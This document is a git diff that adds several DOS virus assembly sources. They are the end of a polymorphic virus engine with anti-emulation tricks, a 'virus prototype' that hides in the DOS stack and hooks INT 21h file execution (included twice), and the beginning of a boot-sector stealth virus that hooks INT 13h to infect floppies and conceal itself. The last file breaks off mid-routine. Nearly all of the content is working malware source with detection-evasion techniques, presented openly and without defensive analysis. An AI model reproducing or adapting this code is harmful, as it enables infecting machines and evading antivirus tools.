Offset NewVirus-200h ; Calculate displacement. If + SUB AX, DI ;it jumps directly to the decrypted virus + DEC AX ;body, it calculates the displacement to + DEC AX ;the initial address of the virus. Other- + CALL MiraSiPrimerDes ;wise, it adds the static size of the + JZ @@Salto ;virus body to the calculated displa- + ADD AX, LongVirus ;cement, to get the entry-point of the + ;second decryptor. + @@Salto: STOSW ; Store the displacement + POP AX ; Nivelate stack + RET ; Return + + @@Fin1: STOSB ; Store number in AL + RET ; Return +SaltoInicio ENDP + +; Procedure to construct PUSH instructions to insert jump addresses, depending +; on the instruction to jump. If an IRET will be used, then it inserts in the +; decryptor a PUSHF, a PUSH Segment (PUSH CS if it's an EXE) and a PUSH +; Address, for example. For a RETF, it would only insert a PUSH Segment and +; a PUSH Address, etc. It won't be inserted all in once, but in every call +; to this function, it checks if any stack instruction must be inserted. Sin- +; ce this function is called at least three times, there is no error. +PonStack PROC + PUSH AX ; Save AX + CMP BYTE PTR [Estado-200h], 0 ; Check if there's any ins- + ; truction to insert + JZ @@Fin ; If not, exit + CALL HazBasuraAleatoria ; Do garbage + CMP BYTE PTR [Estado-200h], 2 ;Check if number of instruc- + ;tion is 2 + JB @@PonIP ; If it's 1, put a PUSH Address + JZ @@PonCS ; If it's 2, put a PUSH Segment + ; Number of instruction is 3, so put a PUSHF + @@PonFLAGS: MOV AL, 9Ch ; AL=opcode of "PUSHF" + JMP @@Sigue ; Continue + ; Number of instruction is 2, so put a "PUSH Segment" + @@PonCS: CMP BYTE PTR [TipoEjec-200h], 0 ; Check if host is an EXE + JZ @@Salto ; If it's an EXE, insert a "PUSH CS" + MOV AL, 0Eh ; AL=opcode of "PUSH CS" + JMP @@Sigue ; Jump to insert it and exit + @@Salto: CALL Aleatorio ; Get a random number + AND AL, 18h ; Get a 0, 8, 10h or 18h + ADD AL, 06h ; Convert it to "PUSH Segment" + JMP @@Sigue ; Continue + ; Number of instruction is 1, so put a "PUSH Address" + @@PonIP: MOV AL, 68h ; AL=opcode of "PUSH xxxx" + STOSB ; Store it + MOV AX, [InicioVirus-200h+1+16h] ;Get initial address of + ; the decrypted virus body + CALL MiraSiPrimerDes ; Check if we are in the first de- + ; cryptor + JZ @@SKKKKJ ; If we are in the second, insert + ; address + ADD AX, LongVirus ;Calculate address of second decryp. + @@SKKKKJ: STOSW ; Store got address in AX + JMP @@Fin1 ; Jump and return + @@Sigue: STOSB ; Store byte + @@Fin1: DEC BYTE PTR [Estado-200h] ;Decrease number of instruction + @@Fin: POP AX ; Restore AX + RET ; Return +PonStack ENDP + +;; It only returns Zero Flag if we are in the second decryptor. It saves some +;; bytes, because this instruction is quite long +MiraSiPrimerDes PROC + CMP WORD PTR [LongDesencrip-200h], 0 ; Check if second de- + RET ; cryptor and return +MiraSiPrimerDes ENDP + +;;; MEMORY WRITES +;; This is one of the nicest routines in this engine. It is capable of insert +;; a direct indexed memory write/modification. Moreover, this writes are done +;; to the virus body, so it can fool an emulator or a debugger in a cool +;; manner :) +MeteEscritura PROC + CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bits opcode if + JNZ @@Sigue6 ; there are any + DEC DI + @@Sigue6: CMP BYTE PTR [TipoEjec-200h], 1 ; Check if host is an EXE + JZ @@EsEXE ; If it's an EXE, jump and + ; insert only a "CS:" + @@EsCOM: CALL Aleatorio ; Get a random number + AND AL, 18h ; Make a "CS:", "ES:" or "SS:". + CMP AL, 18h ; If a "DS:" is going to be sto- + JNZ @@Sigue7 ; red, it has a random 50% of + CALL SioNo ; probability to insert it + JZ @@Sigue2 + @@Sigue7: ADD AL, 26h + db 3dh ;JMP @@Sigue1 + @@EsEXE: MOV AL, 2Eh + @@Sigue1: STOSB ; Store segment opcode + @@Sigue2: CALL MiraSiPrimerDes ; Check if second decryptor + JZ @@Sigue8 ; If second decryptor, avoid in- + ; dexed writes + MOV BX, Offset RegistrosUsados-200h + ; CMP BYTE PTR [BX+3], 0 + ; JZ @@OtraVez + CMP BYTE PTR [BX+6], 0 + JZ @@OtraVez + CMP BYTE PTR [BX+7], 0 + JNZ @@Sigue8 + @@OtraVez: CALL Aleatorio ; Get a random number in AX be- + AND AX, 0001 ; tween 0 and 1 + ADD AX, 0006 + MOV BX, Offset RegistrosUsados-200h + ADD BX, AX ; Put it on BX + ; Get a random not-used + CMP BYTE PTR [BX], 0 ; register from this set of + JNZ @@OtraVez ; index registers + MOV DL, AL ; Put register in DL + MOV BX, Offset TablaIndices-200h ; Translate it to index + XLAT ; codification + AND AL, 07h ; Set word-adding-to-index on + OR AL, 80h + MOV CL, AL ; Put the opcode in CL + xor si, si + CALL SioNo + jz @@NoReg + call SioNo + jz @@Aqui2 + call SioNo + jz @@CoproStatus ; Insert a copro memory write + @@Aqui2: CALL Aleatorio ; Get a random number in AX + AND AX, 3839h ; Get a random register in AH, and a + ; random operation in AL (byte or word + ; operation randomly, too) + @@Aqui: OR AH, CL ; Put index in second opcode + STOSW ; Store instruction + MOVZX BX, DL ; Put register in BX + ROL BX, 1 ; Get address of initial execution va- + ADD BX, Offset InicValoresCOM-200h ; lue in BX + CMP BYTE PTR [TipoEjec-200h], 1 ; If host is a COM, jump + JNZ @@Sigue10 + ADD BX, 0010h ; Get address of EXE initial register + ; values + @@Sigue10: MOV DX, [BX] ; Get initial value in DX + PUSH DX ; Save it onto stack + CALL ObtenDireccionEscrit ; Get a write direction in AX + POP DX ; Restore DX + SUB AX, DX ; Calculate adding for the index in + STOSW ; the instruction and complete it + or si, si + jz @@Ret + call Aleatorio + test si, 1 + jnz @@ValorWord + @@ValorByte: STOSB + @@Ret: RET + @@NoReg: call Aleatorio + and ax, 3801h + add al, 80h + or si, ax + jmp @@Aqui + +@@CoproStatus: mov ax, 38d9h ; Insert copro memory writes + call SioNo + jz @@Aqui + add al, 4h + jmp @@Aqui + + +;; Here a normal direct-address memory write is inserted + @@Sigue8: CALL Aleatorio ; Get a random operation with a random + AND AX, 3839h ; 8/16 bits register + ADD AH, 06h ; Set "direct address" on + STOSW ; Store instruction + CALL ObtenDireccionEscrit ; Get a memory address for write + @@ValorWord: STOSW ; Store it for completing instruction + RET ; Return +MeteEscritura ENDP + +;; Routine to get a secure address for writing. All got addresses points to +;; the virus body, so it would seem modifications to decrypted variables. But +;; the value of this zones doesn't affect to the virus operations once decryp- +;; ted, so it can fool emulators and debuggers. Deal with it, AVers! :) +ObtenDireccionEscrit PROC + @@Sigue3: CALL Aleatorio ; Get a random number between 0 and 16h + AND AX, 001Fh + CMP AX, 0017h + JAE @@Sigue3 + MOV BX, 0003 ; Get address where data is stored + MUL BX + MOV BX, AX + ADD BX, Offset Escritura-200h + MOV CL, [BX] ; Get this number, which means the quantity + INC CL ; that the index can vary from the address + ; after. For example, if there is a 0, then + ; the address must be as-is. But if there + ; is a 2, then the address can be from + ; Address+0 to Address+2 randomly + XOR DX, DX ; Set high-word of division to 0 + CALL Aleatorio ; Get a random number + XOR CH, CH ; CX=CL + DIV CX ; Get a random number between 0 and CL-1 + MOV AX, DX ; Put the remainder (what we want) in AX + ADD AX, [BX+01] ; Add address where writing is safe + @@Sigue5: ADD AX, [InicioVirus-200h+1+16h] ;Calculate address inside + ; the virus body once in the + ; host + RET ; Return +ObtenDireccionEscrit ENDP + +;;; DATA SECTION + +; Translation from register to index codification to make opcodes of memory +; operations +TablaIndices DB 0, 0, 0, 7, 0, 46h, 4, 5 +; AX CX DX BX SP BP SI DI +; BP must have bits field (15,14) to non-zero because if not it's interpreted +; like a direct memory address operation (a number, not a register) + +; Opcodes for the decryptor. They are opcodes for XOR, ADD, SUB and XOR, resp. +OpcodesCriptado DB 31h, 01h, 29h, 31h + +;; Opcodes for checking the state of counter +; Check by operation: with opcode 81h/83h, they form: ADD, SUB, CMP, CMP +OpcodesComprueba DB 0C0h, 0E8h, 0F8h, 0F8h +; Check by logical operation: Opcodes of the instructions: OR, AND, TEST +OpcodesLogicos DB 09h, 21h, 85h + +;; Interrupt numbers that can be safely used (if there isn't a debugger :) ) +OpcodesInterrup DB 1Ch, 28h, 01h, 03h ; INT 1Ch, 28h, 01h and 03h + +;; Opcodes of one-byte instructions that don't modify checking flags. They +;; are also the normal one-byte instructions +BasuraNoBanderas DB 0F5h, 0F8h, 0F9h, 0FBh, 0FCh, 0FDh, 90h, 3Eh +; CMC, CLC, STC, STI, CLD, STD, NOP, DS: +;; One-byte instructions that modify AX (NOP is to fill) +ConAX DB 98h, 27h, 2Fh, 37h, 3Fh, 90h, 9Fh, 0D7h +; CBW, DAA, DAS, AAA, AAF, NOP, LAHF,XLAT + +;; Conditional jump opcodes. First four are for decreasing counters, and next +;; four are for increasing ones. +Saltos DB 75h, 79h, 7Dh, 7Fh, 75h, 78h, 7Ch, 7Eh +; JNZ, JNS, JGE, JG, JNZ, JS, JL, JLE +Saltos2 db 72h, 78h +; JB, JS + +;; Opcodes to use for garbage more-than-two-bytes instructions. +BasuraInstruc DB 02h, 0Ah, 12h, 1Ah, 22h, 2Ah, 32h, 3Ah, 84h, 8Ah +; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP,TEST, MOV + +;; Interrupt functions. They're in groups of two bytes. First byte is the +;; function to use, and next byte is the interruption to use. This functions +;; don't modify nothing but don't used registers. They can't be used, for +;; this reason, in the first decryptor, where the initial values of the regis- +;; ters are used. +FuncInterrup DB 00, 12h, 0Fh, 10h, 88h, 15h, 01h, 16h, 02h, 16h + DB 0Bh, 21h, 18h, 21h, 19h, 21h, 30h, 21h, 36h, 21h + DB 51h, 21h, 54h, 21h, 58h, 21h + +;; Safe writting fields table. This is used in "ObtenDireccionEscrit" +Escritura DB 0Ah + DW Offset AntInt21h - 200h + DB 0 + DW Offset SaltoCOM - 200h + 1 + DB 0 + DW Offset Basura1 - 200h + DB 0 + DW Offset Basura2 - 200h + DB 0 + DW Offset Basura3 - 200h + DB 0 + DW Offset Basura4 - 200h + DB 0 + DW Offset Basura5 - 200h + DB 0 + DW Offset Basura6 - 200h + DB 0 + DW Offset Basura7 - 200h + DB 0 + DW Offset Basura8 - 200h + DB 0 + DW Offset Basura9 - 200h + DB 0 + DW Offset Basura10 - 200h + DB 0 + DW Offset Basura11 - 200h + DB 0 + DW Offset Basura12 - 200h + DB 0 + DW Offset Basura13 - 200h + DB 0 + DW Offset Basura14 - 200h + DB 0 + DW Offset Basura15 - 200h + DB 0 + DW Offset Basura16 - 200h + DB 0 + DW Offset Basura17 - 200h + DB 8 + DW Offset Atributos - 200h + DB 3 + DW Offset BytesInt24h - 200h + DB 0 + DW Offset ByteInt1Bh - 200h + DB 4 + DW Offset WordAleatorio1 - 200h + +Truco_Salto: PUSH DS ; DS,ES => STACK + PUSH ES + MOV AH, 30h ; Get DOS version / install-check + JMP Retorno_Truco + +;; Virus arrives until here! Beyond this point the variables only exist in +;; memory, when it's installed. + DB 0 +; DB 0 +FinVirus LABEL WORD ;Mark of end of the spreading part of the virus + +AntInt21h DW 2 DUP (0) ; Here real int 21h address is saved + +Puntero2 DW 2 DUP (0) ; This is used in the trace routines +Puntero3 DW 2 DUP (0) + +Ptr01 DD 0 ; Here we save the int 01h vector when we use it + ; to trace, when int 30h trick fails + +DirecDTA DW 2 DUP (0) ; To save DTA address +FakedHandle DW 0 ; To save faked handle, when we fake + ; it +EstadoInt24h DB 0 ; To set on if there was a critic + ; error +AntHandle DW 0 ; Exchange variable for the "Fake- + ; Handle" routine +SumaNombre DB 0 ; Checksum of the name of the file + ; infected before +NoStealth DB 0 ; If it's set, stealth doesn't work + ; It's to avoid stealth when certain + ; files are executed +PrimerByte DB 0 ; Set on if we are constructing the + ; first instruction in one of the + ; two decryptors in the poly engine +Cabecera DB 18h DUP (0) ;To save EXE header +Cabecera2 DB 18h DUP (0) ;To have a duplicate of EXE header +NombreFCB DB 0Ch DUP (0) ;To pass a FCB's file name to a + ;handle-function type, to use han- + ;dle virus' functions with FCBs +AntiEmulacion DB 0 ; To store the number of anti-emula- + ; tion routine used in the first de- + ; cryptor constructed by the poly + ; engine, to not repeat the same in + ; the second decryptor +NoBasura DB 0 +NoPongasLOOP DB 0 +RegistroEncriptado DB 0 ;To store the key register for decrypt +RegistroIndice DB 0 ;To store the index register +RegistroContador DB 0 ;To store the counter register +InicLoop DW 0 ;To store the address of start of decrypt + ;loop +InicLoop2 DW 0 +TipoDeDesencriptador DB 0 +Temporal DW 0 ; To store address of jump instruction + ; when constructing a random jump +TamanyoContador DW 0 ; Size of block for decrypt +SumaIndice DW 0 ; Quantity that must be added to index + ; relatively in the instruction to point + ; correctly to the beginning of the en- + ; crypted block +WordEncriptado DW 0 ; Key of decryption +LongDesencrip DW 0 ; Size of the first decryptor that the + ; poly engine builds +Estado DB 0 ; Multi-function variable :) +WordCambio DW 0 ; Quantity to be ADDed, SUBtracted or + ; XORed to decryption key every loop +EstoyDentro DB 0 ; If it's set on, we're constructing the + ; decryption loop (we're inside the loop) +Banderas DW 0 ; Flags of the built decryptor (normally + ; in BP) +Desinfeccion DB 0 ; Counter to determine if we must disin- + ; fect host, infect KEYB.COM or infect + ; normally +InstalacionPoli DB 0 ; If it's 0, the random seed will be ini- + ; tialize. If not, it won't :) +TamanyoBloque DB 0 +Cantidad DB 0 +SaltoLoopTipo0 DB 0 + +AntAleatorio DW 3 DUP (0) ; When the random seed is initiali- + ; zed, the result is saved here, so every + ; time we call to "HazVirus" to generate + ; a new virus, the random seed is set + ; with this values. In this manner the + ; decryptor is always the same until you + ; reboot the computer, otherwise you + ; could change the decryptor setting a + ; new date +LoopYaEsta DB 0 ; This variable is set when we finished + ; constructing the decryption loop +NumeroCALLs db 0 ; Here we store the number of constructed + ; CALLs in the decryptors +DirecCALLs dw 08h dup (0) ; Here the addresses where they + ; are located. + +NewVirus LABEL WORD ; Direction where the polimorphism engine + ; will construct the virus + + END Squatter ; Finish program + +;; The Mental Driller, 18/12/1998 (when I finished comments! :) ) diff --git a/s/STACK.ASM b/s/STACK.ASM new file mode 100755 index 0000000..7e7d213 --- /dev/null +++ b/s/STACK.ASM @@ -0,0 +1,198 @@ +; +; +; V I R U S P R O T O T Y P E +; +; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd +; Date : 25 Jan 1991 21:05 +; Function : Found DOS stack in put himself in it. Then trace DOS +; function EXEC and type 'Infect File' +; +; +; If you want to have fun with this program just run file STACK.COM +; Don't worry, this is not a virus yet, just try to find him in memory +; with PCTools and/or MAPMEM. If you can -> just erase the source - it is +; useless for you. If you can't -> you don't have to look at it - it is too +; difficult to you to understand it. +; Best regards, Waleri Todorov +; +; + + + + + mov ah,52h ; Get DOS segmenty + int 21h + + cmp ax,1234h ; Also check for already here + jne Install ; If not -> install in memory +ReturnControl + + int 20h ; This program will give control + ; to main file +Install + mov ax,es ; mov DOS segment in AX + mov DosSeg,ax ; Save DOS segment for further usage + mov ds,ax ; DS now point in DOS segment + + call SearchDos ; Search DOS entry point + call SearchStack ; Search DOS stack + + push cs ; DS=ES=CS + push cs + pop ds + pop es + + mov ax,DosSeg ; get DOS segment in AX + mov cl,4 ; AX*=16 + shl ax,cl + mov bx,StackOff ; Stack new begin in BX + and bx,0FFF0h ; Mask low 4 bit + add ax,bx ; Compute new real address + mov cl,4 ; AX/=16 + shr ax,cl ; Now we get SEGMENT:0000 + sub ax,10h ; Segment-=10-> SEG:100h + mov StackOff,ax ; Save new segment for further usage + mov es,ax ; ES point in DOS New area + mov si,100h ; ES:DI -> DOS:free_space_in_stack + mov di,si ; DS:SI Current segment + mov cx,512d ; Virus is only 512 bytes long + rep movsb ; Move virus to new place + +; Installing virus in DOS' stack we will avoid a conflict with PCTools, +; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't +; affected, so if you have program, that count DOS' buffers to found +; Beast666, she won't found anything. +; In further release of full virus I will include anti-debugger system, +; so you will not be able to trace virus + + mov di,DosOff ; ES:DI point to DOS int21 entry point + mov ax,DosSeg + mov es,ax + mov al,0EAh ; JMP XXXX:YYYY + stosb + mov ax,offset Entry21 + stosw ; New 21 handler's offset + mov ax,StackOff + stosw ; New 21 handler's segment + + +; Now DOS will make far jump to virus. In case that virus won't +; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching, +; and DOSEDIT will operate correctly (with several virus he don't). + + inc di + inc di + mov Int21off,di ; Virus will call DOS after jump + jmp ReturnControl ; Return control to file + +; At this moment, return control is just terminate program via int 20h. +; In further release of full virus this subroutine will be able to +; return control to any file (COM or EXE). + + + +; These are two scanners subroutine. All they do are scanning DOS segment +; for several well-known bytes. Then they update some iternal variables. +; Be patience, when debug this area! + +SearchDos + mov ax,cs:[DosSeg] + mov ds,ax + xor si,si + +Search1 + lodsw + cmp ax,3A2Eh + je NextDos1 + dec si + jmp short Search1 +NextDos1 + lodsb + cmp al,26h + je LastDos + sub si,2 + jmp short Search1 +LastDos + inc si + inc si + lodsb + cmp al,77h + je FoundDos + sub si,5 + jmp short Search1 +FoundDos + inc si + mov cs:[Int21off],si + sub si,7 + mov cs:[DosOff],si + ret + +SearchStack + xor si,si +Search2 + lodsw + cmp ax,0CB8Ch + je NextStack1 + dec si + jmp short Search2 +NextStack1 + lodsw + cmp ax,0D38Eh + je NextStack2 + sub si,3 + jmp short Search2 +NextStack2 + lodsb + cmp al,0BCh + je FoundStack + sub si,4 + jmp short Search2 +FoundStack + mov di,si + lodsw + sub ax,200h + stosw + mov cs:[StackOff],ax + ret + +Entry21 ; Here is new int 21 handler + cmp ah,52h ; If GET_LIST_OF_LISTS + jne NextCheck + + mov ax,1234h ; then probably I am here + mov bx,cs:[DosSeg] ; so return special bytes in AX + mov es,bx + mov bx,26h + iret ; Terminate AH=52h->return to caller +NextCheck + cmp ax,4B00h ; If EXEC file + jne GoDos + call Infect ; then file will be infected +GoDos + jmp dword ptr cs:[Int21off] + ; Otherwise jump to DOS +Infect + push ds ; At this moment just write on screen + push dx + push ax + + push cs + pop ds + mov dx,offset Txt + mov ah,9 +CallDos + pushf ; Call real DOS + call dword ptr cs:[Int21off] + + pop ax + pop dx + pop ds + ret + +Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus +DosSeg dw 0 ; DOS segment +StackOff dw 0 ; Offset of stack/New segment +DosOff dw 0 ; Offset of DOS 21 BEFIRE jump +Txt db 'Infect File$' ; Dummy text + + \ No newline at end of file diff --git a/s/STACKVIR.ASM b/s/STACKVIR.ASM new file mode 100755 index 0000000..f7202d2 --- /dev/null +++ b/s/STACKVIR.ASM @@ -0,0 +1,174 @@ +; +; +; V I R U S P R O T O T Y P E +; +; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd +; Date : 25 Jan 1991 21:05 +; Function : Found DOS stack in put himself in it. Then trace DOS +; function EXEC and type 'Infect File' +; +; +; If you want to have fun with this program just run file STACK.COM +; Don't worry, this is not a virus yet, just try to find him in memory +; with PCTools and/or MAPMEM. If you can -> just erase the source - it is +; useless for you. If you can't -> you don't have to look at it - it is too +; difficult to you to understand it. +; Best regards, Waleri Todorov +; +; + + + mov ah,52h ; Get DOS segmenty + int 21h + cmp ax,1234h ; Also check for already here + jne Install ; If not -> install in memory +ReturnControl + int 20h ; This program will give control + ; to main file +Install + mov ax,es ; mov DOS segment in AX + mov DosSeg,ax ; Save DOS segment for further usage + mov ds,ax ; DS now point in DOS segment + call SearchDos ; Search DOS entry point + call SearchStack ; Search DOS stack + push cs ; DS=ES=CS + push cs + pop ds + pop es + mov ax,DosSeg ; get DOS segment in AX + mov cl,4 ; AX*=16 + shl ax,cl + mov bx,StackOff ; Stack new begin in BX + and bx,0FFF0h ; Mask low 4 bit + add ax,bx ; Compute new real address + mov cl,4 ; AX/=16 + shr ax,cl ; Now we get SEGMENT:0000 + sub ax,10h ; Segment-=10-> SEG:100h + mov StackOff,ax ; Save new segment for further usage + mov es,ax ; ES point in DOS New area + mov si,100h ; ES:DI -> DOS:free_space_in_stack + mov di,si ; DS:SI Current segment + mov cx,512d ; Virus is only 512 bytes long + rep movsb ; Move virus to new place +; Installing virus in DOS' stack we will avoid a conflict with PCTools, +; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't +; affected, so if you have program, that count DOS' buffers to found +; Beast666, she won't found anything. +; In further release of full virus I will include anti-debugger system, +; so you will not be able to trace virus + mov di,DosOff ; ES:DI point to DOS int21 entry point + mov ax,DosSeg + mov es,ax + mov al,0EAh ; JMP XXXX:YYYY + stosb + mov ax,offset Entry21 + stosw ; New 21 handler's offset + mov ax,StackOff + stosw ; New 21 handler's segment + +; Now DOS will make far jump to virus. In case that virus won't +; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching, +; and DOSEDIT will operate correctly (with several virus he don't). + inc di + inc di + mov Int21off,di ; Virus will call DOS after jump + jmp ReturnControl ; Return control to file +; At this moment, return control is just terminate program via int 20h. +; In further release of full virus this subroutine will be able to +; return control to any file (COM or EXE). + +; These are two scanners subroutine. All they do are scanning DOS segment +; for several well-known bytes. Then they update some iternal variables. +; Be patience, when debug this area! +SearchDos + mov ax,cs:[DosSeg] + mov ds,ax + xor si,si +Search1 + lodsw + cmp ax,3A2Eh + je NextDos1 + dec si + jmp short Search1 +NextDos1 + lodsb + cmp al,26h + je LastDos + sub si,2 + jmp short Search1 +LastDos + inc si + inc si + lodsb + cmp al,77h + je FoundDos + sub si,5 + jmp short Search1 +FoundDos + inc si + mov cs:[Int21off],si + sub si,7 + mov cs:[DosOff],si + ret +SearchStack + xor si,si +Search2 + lodsw + cmp ax,0CB8Ch + je NextStack1 + dec si + jmp short Search2 +NextStack1 + lodsw + cmp ax,0D38Eh + je NextStack2 + sub si,3 + jmp short Search2 +NextStack2 + lodsb + cmp al,0BCh + je FoundStack + sub si,4 + jmp short Search2 +FoundStack + mov di,si + lodsw + sub ax,200h + stosw + mov cs:[StackOff],ax + ret +Entry21 ; Here is new int 21 handler + cmp ah,52h ; If GET_LIST_OF_LISTS + jne NextCheck + mov ax,1234h ; then probably I am here + mov bx,cs:[DosSeg] ; so return special bytes in AX + mov es,bx + mov bx,26h + iret ; Terminate AH=52h->return to caller +NextCheck + cmp ax,4B00h ; If EXEC file + jne GoDos + call Infect ; then file will be infected +GoDos + jmp dword ptr cs:[Int21off] + ; Otherwise jump to DOS +Infect + push ds ; At this moment just write on screen + push dx + push ax + push cs + pop ds + mov dx,offset Txt + mov ah,9 +CallDos + pushf ; Call real DOS + call dword ptr cs:[Int21off] + pop ax + pop dx + pop ds + ret +Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus +DosSeg dw 0 ; DOS segment +StackOff dw 0 ; Offset of stack/New segment +DosOff dw 0 ; Offset of DOS 21 BEFIRE jump +Txt db 'Infect File$' ; Dummy text diff --git a/s/STEALTH.ASM b/s/STEALTH.ASM new file mode 100755 index 0000000..af8c82e --- /dev/null +++ b/s/STEALTH.ASM @@ -0,0 +1,1219 @@ +;The Stealth Virus is a boot sector virus which remains resident in memory +;after boot so it can infect disks. It hides itself on the disk and includes +;special anti-detection interrupt traps so that it is very difficult to +;locate. This is a very infective and crafty virus. + +COMSEG SEGMENT PARA + ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG + + ORG 100H + +START: + jmp BOOT_START + +;******************************************************************************* +;* BIOS DATA AREA * +;******************************************************************************* + + ORG 413H + +MEMSIZE DW 640 ;size of memory installed, in KB + +;******************************************************************************* +;* VIRUS CODE STARTS HERE * +;******************************************************************************* + + ORG 7000H + +STEALTH: ;A label for the beginning of the virus + + +;******************************************************************************* +;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b) +;for every sector on the track. This is put at the very start of the virus so +;that when sectors are formatted, we will not run into a DMA boundary, which +;would cause the format to fail. This is a false error, but one that happens +;with some BIOS's, so we avoid it by putting this data first. +FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette, + DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2 + +FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette + DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2 + + +;******************************************************************************* +;* INTERRUPT 13H HANDLER * +;******************************************************************************* + +OLD_13H DD ? ;Old interrupt 13H vector goes here + +INT_13H: + sti + cmp ah,2 ;we want to intercept reads + jz READ_FUNCTION + cmp ah,3 ;and writes to all disks + jz WRITE_FUNCTION +I13R: jmp DWORD PTR cs:[OLD_13H] + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 2, +;(Read). It checks for several key situations where it must jump into action. +;they are: +; 1) If an attempt is made to read the boot sector, it must be processed +; through READ_BOOT, so an infected boot sector is never seen. Instead, +; the original boot sector is read. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are read, they are processed by READ_HARD, so the virus +; code is never seen on the hard drive. +; 3) If an attempt is made to read Track 1, Head 0, Sector 1 on the +; floppy, this routine checks to see if the floppy has already been +; infected, and if not, it goes ahead and infects it. + +READ_FUNCTION: ;Disk Read Function Handler + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,1 ;is it track 1? + jz RF0 ;yes, go do special processing + cmp ch,0 ;is it track 0? + jnz I13R ;no, let BIOS handle it + cmp cl,1 ;track 0, is it sector 1 + jz READ_BOOT ;yes, go handle boot sector read + cmp dl,80H ;no, is it hard drive c:? + jz RF1 ;yes, go check further + jmp I13R ;else let BIOS handle it + +RF0: cmp dl,80H ;is it hard disk? + jnc I13R ;yes, let BIOS handle read + cmp cl,1 ;no, floppy, is it sector 1? + jnz I13R ;no, let BIOS handle it + call CHECK_DISK ;is floppy already infected? + jz I13R ;yes so let BIOS handle it + call INFECT_FLOPPY ;no, go infect the diskette + jmp SHORT I13R ;and then let BIOS do the read + +RF1: cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp READ_HARD ;yes, divert read on the C drive + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 3, +;(Write). It checks for two key situations where it must jump into action. They +;are: +; 1) If an attempt is made to write the boot sector, it must be processed +; through WRITE_BOOT, so an infected boot sector is never overwritten. +; instead, the write is redirected to where the original boot sector is +; hidden. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are written, they are processed by WRITE_HARD, so the virus +; code is never overwritten. + +WRITE_FUNCTION: ;BIOS Disk Write Function + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,0 ;is it track 0? + jnz I13R ;nope, let BIOS handle it + cmp cl,1 ;is it sector 1 + jnz WF1 ;nope, check for hard drive + jmp WRITE_BOOT ;yes, go handle boot sector read +WF1: cmp dl,80H ;is it the hard drive c: ? + jnz I13R ;no, another hard drive + cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp WRITE_HARD ;else take care of writing to C: + + +;******************************************************************************* +;This section of code handles reading the boot sector. There are three +;possibilities: 1) The disk is not infected, in which case the read should be +;passed directly to BIOS, 2) The disk is infected and only one sector is +;requested, in which case this routine figures out where the original boot +;sector is and reads it, and 3) The disk is infected and more than one sector +;is requested, in which case this routine breaks the read up into two calls to +;the ROM BIOS, one to fetch the original boot sector, and another to fetch the +;additional sectors being read. One of the complexities in this last case is +;that the routine must return the registers set up as if only one read had +;been performed. +; To determine if the disk is infected, the routine reads the real boot sector +;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then +;this routine goes to get the original boot sector, etc., otherwise it calls ROM +;BIOS and allows a second read to take place to get the boot sector into the +;requested buffer at es:bx. + +READ_BOOT: + push ax ;save registers + push bx + push cx + push dx + push ds + push es + push bp + + push cs ;set ds=es=cs + pop es + push cs + pop ds + mov bp,sp ;and bp=sp + +RB001: mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc RB01 ;ok, go on + call GET_BOOT_SEC ;do it again to make sure + jnc RB01 ;ok, go on + jmp RB_GOON ;error, let BIOS return err code +RB01: call IS_VBS ;is it the viral boot sector? + jz RB02 ;yes, jump + jmp RB_GOON ;no, let ROM BIOS read sector +RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] ;get disk type of disk being + cmp al,80H ;read, and make an index of it + jnz RB1 + mov al,4 +RB1: mov bl,3 ;to look up location of boot sec + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table + mov bx,ax + mov ch,[bx] ;get track of orig boot sector + mov dh,[bx+1] ;get head of orig boot sector + mov cl,[bx+2] ;get sector of orig boot sector + mov dl,ss:[bp+6] ;get drive from original spec + mov bx,ss:[bp+10] ;get read buffer offset + mov ax,ss:[bp+2] ;and segment + mov es,ax ;from original specification + mov ax,201H ;prepare to read 1 sector + pushf + call DWORD PTR [OLD_13H] ;do BIOS int 13H + mov al,ss:[bp+12] ;see if original request + cmp al,1 ;was for more than one sector + jz RB_EXIT ;no, go exit + +READ_1NEXT: ;more than 1 sec requested, so + pop bp ;read the rest as a second call + pop es ;to BIOS + pop ds + pop dx ;first restore these registers + pop cx + pop bx + pop ax + + add bx,512 ;prepare to call BIOS for + push ax ;balance of read + dec al ;get registers straight for it + inc cl + + cmp dl,80H ;is it the hard drive? + jnz RB15 ;nope, go handle floppy + + push bx ;handle an infected hard drive + push cx ;by faking read on extra sectors + push dx ;and returning a block of 0's + push si + push di + push ds + push bp + + push es + pop ds ;ds=es + + mov BYTE PTR [bx],0 ;set first byte in buffer = 0 + mov si,bx + mov di,bx + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;# of bytes to read in dx:ax<64K + mov cx,ax + dec cx 